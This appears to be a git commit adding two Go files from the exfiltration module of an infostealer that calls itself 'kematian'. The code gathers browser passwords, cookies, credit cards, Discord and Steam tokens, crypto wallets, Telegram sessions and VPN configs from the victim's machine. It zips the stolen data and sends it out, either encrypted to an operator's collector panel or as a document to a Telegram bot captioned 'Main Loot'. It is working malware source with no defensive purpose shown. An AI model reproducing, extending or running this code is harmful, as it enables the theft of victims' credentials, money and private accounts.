initial commit
This commit is contained in:
@@ -0,0 +1,248 @@
|
||||
package exfil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ecdh"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
"golang.org/x/crypto/hkdf"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
|
||||
// build time (see build_final.bat or set here).
|
||||
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
|
||||
// the panel. Only this public key is needed to post; decryption needs the
|
||||
// private key that only the panel holds.
|
||||
var (
|
||||
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
|
||||
PanelPubKey = ""
|
||||
// Ingest key must match PANEL_INGEST_KEY on the panel.
|
||||
PanelAuth = "CHANGE-ME"
|
||||
)
|
||||
|
||||
const (
|
||||
e2eeSalt = "kematian-e2ee-salt"
|
||||
e2eeInfo = "kematian-e2ee-v1"
|
||||
)
|
||||
|
||||
// e2eeSeal encrypts plaintext toward the panel's public key.
|
||||
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
|
||||
func e2eeSeal(plaintext []byte) (string, error) {
|
||||
pkBytes, err := hex.DecodeString(PanelPubKey)
|
||||
if err != nil || len(pkBytes) != 32 {
|
||||
return "", fmt.Errorf("invalid panel public key: %v", err)
|
||||
}
|
||||
curve := ecdh.X25519()
|
||||
panelPub, err := curve.NewPublicKey(pkBytes)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
ephPriv, err := curve.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shared, err := ephPriv.ECDH(panelPub)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// HKDF-SHA256(shared, salt, info) -> 32-byte key
|
||||
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
|
||||
key := make([]byte, chacha20poly1305.KeySize)
|
||||
if _, err := io.ReadFull(r, key); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
aead, err := chacha20poly1305.New(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, aead.NonceSize())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := aead.Seal(nil, nonce, plaintext, nil)
|
||||
|
||||
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
|
||||
wire = append(wire, ct...)
|
||||
return base64.StdEncoding.EncodeToString(wire), nil
|
||||
}
|
||||
|
||||
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
|
||||
// already embedded. This removes the need to paste the key at build time: only
|
||||
// the endpoint + auth key are baked in, the agent asks the panel for its key.
|
||||
func ensurePubKey() error {
|
||||
if PanelPubKey != "" {
|
||||
return nil
|
||||
}
|
||||
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("fetching pubkey: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
|
||||
}
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
var out struct {
|
||||
PublicKey string `json:"publicKey"`
|
||||
}
|
||||
if err := json.Unmarshal(body, &out); err != nil {
|
||||
return fmt.Errorf("parsing pubkey: %w", err)
|
||||
}
|
||||
if len(out.PublicKey) != 64 {
|
||||
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
|
||||
}
|
||||
PanelPubKey = out.PublicKey
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildBaseURL() string {
|
||||
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
|
||||
}
|
||||
|
||||
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
|
||||
// to the collector panel over E2EE.
|
||||
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
|
||||
if PanelEndpoint == "" {
|
||||
return fmt.Errorf("panel endpoint not configured")
|
||||
}
|
||||
if err := ensurePubKey(); err != nil {
|
||||
return err
|
||||
}
|
||||
if PanelPubKey == "" {
|
||||
return fmt.Errorf("no pubkey available")
|
||||
}
|
||||
|
||||
payload := buildPanelPayload(result, clientID)
|
||||
if len(payloads) > 0 {
|
||||
payload["payloads"] = payloads
|
||||
}
|
||||
|
||||
plainJSON, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
enc, err := e2eeSeal(plainJSON)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body, _ := json.Marshal(map[string]string{"enc": enc})
|
||||
|
||||
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
||||
|
||||
client := &http.Client{Timeout: 60 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
respBody, _ := io.ReadAll(resp.Body)
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func guessOS() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return os.Getenv("OS")
|
||||
}
|
||||
return runtime.GOOS
|
||||
}
|
||||
|
||||
func guessArch() string {
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
func GenerateClientID() string {
|
||||
b := make([]byte, 12)
|
||||
_, _ = rand.Read(b)
|
||||
return base64.RawURLEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
// buildPanelPayload maps a CollectionResult to the flat structure the panel
|
||||
// ingest stores into its per-category tables. clientID groups everything.
|
||||
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
|
||||
p := map[string]interface{}{
|
||||
"clientId": clientID,
|
||||
"host": map[string]interface{}{
|
||||
"os": guessOS(),
|
||||
"arch": guessArch(),
|
||||
},
|
||||
}
|
||||
if l := len(r.Passwords); l > 0 {
|
||||
p["passwords"] = r.Passwords
|
||||
}
|
||||
if l := len(r.Cookies); l > 0 {
|
||||
p["cookies"] = r.Cookies
|
||||
}
|
||||
if l := len(r.Autofill); l > 0 {
|
||||
p["autofill"] = r.Autofill
|
||||
}
|
||||
if l := len(r.History); l > 0 {
|
||||
p["history"] = r.History
|
||||
}
|
||||
if l := len(r.Bookmarks); l > 0 {
|
||||
p["bookmarks"] = r.Bookmarks
|
||||
}
|
||||
if l := len(r.CreditCards); l > 0 {
|
||||
p["creditCards"] = r.CreditCards
|
||||
}
|
||||
if l := len(r.DiscordTokens); l > 0 {
|
||||
p["discordTokens"] = r.DiscordTokens
|
||||
}
|
||||
if l := len(r.Files); l > 0 {
|
||||
p["files"] = r.Files
|
||||
}
|
||||
if l := len(r.Extensions); l > 0 {
|
||||
p["extensions"] = r.Extensions
|
||||
}
|
||||
if l := len(r.Wallets); l > 0 {
|
||||
p["wallets"] = r.Wallets
|
||||
}
|
||||
if l := len(r.Telegram); l > 0 {
|
||||
p["telegram"] = r.Telegram
|
||||
}
|
||||
if l := len(r.Keys); l > 0 {
|
||||
p["keys"] = r.Keys
|
||||
}
|
||||
if l := len(r.AppCredentials); l > 0 {
|
||||
p["appCredentials"] = r.AppCredentials
|
||||
}
|
||||
if r.Gaming != nil {
|
||||
p["gaming"] = r.Gaming
|
||||
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
|
||||
p["steamTokens"] = r.Gaming.Steam.SteamTokens
|
||||
}
|
||||
}
|
||||
if r.VPNs != nil {
|
||||
p["vpns"] = r.VPNs
|
||||
}
|
||||
return p
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
package exfil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"recovery/recovery"
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type TelegramConfig struct {
|
||||
BotToken string
|
||||
ChatID string
|
||||
}
|
||||
|
||||
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
|
||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USERNAME")
|
||||
if username == "" {
|
||||
username = os.Getenv("USER")
|
||||
}
|
||||
|
||||
ip := getExternalIP()
|
||||
|
||||
caption := fmt.Sprintf(`✨ New Log Received ✨
|
||||
|
||||
💻 User: %s@%s
|
||||
🌍 IP: %s
|
||||
|
||||
📊 Main Loot:
|
||||
🔑 Passwords: %d
|
||||
🍪 Cookies: %d
|
||||
💰 Wallets: %d
|
||||
|
||||
📦 Additional Data:
|
||||
💬 Messengers: %d
|
||||
🔐 Extensions: %d
|
||||
🔑 Keys: %d
|
||||
🎮 Gaming: %d
|
||||
🌐 VPNs: %d
|
||||
📁 Files: %d`,
|
||||
username, hostname, ip,
|
||||
counts["passwords"], counts["cookies"], counts["wallets"],
|
||||
counts["telegram"], counts["extensions"], counts["keys"],
|
||||
counts["gaming"], counts["vpns"], counts["files"])
|
||||
|
||||
var buf bytes.Buffer
|
||||
writer := multipart.NewWriter(&buf)
|
||||
|
||||
_ = writer.WriteField("chat_id", cfg.ChatID)
|
||||
_ = writer.WriteField("caption", caption)
|
||||
_ = writer.WriteField("parse_mode", "HTML")
|
||||
|
||||
part, err := writer.CreateFormFile("document", filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = part.Write(zipData)
|
||||
writer.Close()
|
||||
|
||||
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", writer.FormDataContentType())
|
||||
|
||||
client := &http.Client{Timeout: 120 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getExternalIP() string {
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
resp, err := client.Get("https://api.ipify.org")
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return strings.TrimSpace(string(body))
|
||||
}
|
||||
|
||||
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
|
||||
result, zipData, counts, _, err := CollectResultAndZip(ctx)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
_ = result
|
||||
return zipData, counts, nil
|
||||
}
|
||||
|
||||
// CollectResultAndZip collects a full snapshot and returns:
|
||||
// - the typed result (for the panel)
|
||||
// - a single zip of every json+dump for Telegram
|
||||
// - per-category counts
|
||||
// - individual binary payloads (wallet/telegram/steam zips) for the panel
|
||||
func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
|
||||
opts := types.CollectOptions{
|
||||
Browsers: true,
|
||||
Passwords: true,
|
||||
Cookies: true,
|
||||
Autofill: true,
|
||||
History: true,
|
||||
Bookmarks: true,
|
||||
CreditCards: true,
|
||||
Discord: true,
|
||||
Files: true,
|
||||
Wallets: true,
|
||||
Telegram: true,
|
||||
Keys: true,
|
||||
Apps: true,
|
||||
Gaming: true,
|
||||
VPNs: true,
|
||||
}
|
||||
|
||||
tmpDir, err := os.MkdirTemp("", "kematian-*")
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
defer os.RemoveAll(tmpDir)
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, nil)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
|
||||
}
|
||||
|
||||
extensions := recovery.ScanExtensions()
|
||||
result.Extensions = extensions
|
||||
|
||||
counts := map[string]int{
|
||||
"passwords": len(result.Passwords),
|
||||
"cookies": len(result.Cookies),
|
||||
"wallets": len(result.Wallets),
|
||||
"telegram": len(result.Telegram),
|
||||
"extensions": len(result.Extensions),
|
||||
"keys": len(result.Keys),
|
||||
"gaming": 0,
|
||||
"vpns": 0,
|
||||
"files": len(result.Files),
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil {
|
||||
counts["gaming"]++
|
||||
}
|
||||
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
|
||||
}
|
||||
if result.VPNs != nil {
|
||||
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
|
||||
}
|
||||
|
||||
writeJSON := func(name string, data interface{}) error {
|
||||
jsonData, err := json.MarshalIndent(data, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
|
||||
}
|
||||
|
||||
_ = writeJSON("passwords", result.Passwords)
|
||||
_ = writeJSON("cookies", result.Cookies)
|
||||
_ = writeJSON("autofill", result.Autofill)
|
||||
_ = writeJSON("history", result.History)
|
||||
_ = writeJSON("bookmarks", result.Bookmarks)
|
||||
_ = writeJSON("credit_cards", result.CreditCards)
|
||||
_ = writeJSON("discord_tokens", result.DiscordTokens)
|
||||
_ = writeJSON("extensions", result.Extensions)
|
||||
_ = writeJSON("wallets", result.Wallets)
|
||||
_ = writeJSON("telegram", result.Telegram)
|
||||
_ = writeJSON("keys", result.Keys)
|
||||
_ = writeJSON("app_credentials", result.AppCredentials)
|
||||
_ = writeJSON("gaming", result.Gaming)
|
||||
_ = writeJSON("vpns", result.VPNs)
|
||||
var steamTokens []types.SteamTokenResult
|
||||
if result.Gaming != nil && result.Gaming.Steam != nil {
|
||||
steamTokens = result.Gaming.Steam.SteamTokens
|
||||
}
|
||||
_ = writeJSON("steam_tokens", steamTokens)
|
||||
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
|
||||
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
|
||||
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
|
||||
|
||||
// Individual payloads are shipped to the panel directly so it can host the
|
||||
// actual login files (wallet dirs, telegram sessions, steam session).
|
||||
var payloads []types.Payload
|
||||
|
||||
for _, wallet := range result.Wallets {
|
||||
if wallet.Path != "" {
|
||||
zipData, err := recovery.ZipDirectory(wallet.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "wallet", Name: wallet.Name, Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, tg := range result.Telegram {
|
||||
if tg.Path != "" {
|
||||
zipData, err := recovery.ZipTelegram(tg.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "telegram", Name: tg.Account, Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
|
||||
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := "steam_session.zip"
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "steam", Name: "steam", Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
zipData, err := ziputil.ZipDirectory(tmpDir)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return result, zipData, counts, payloads, nil
|
||||
}
|
||||
|
||||
func sanitizeFilename(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
|
||||
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
|
||||
)
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
Reference in New Issue
Block a user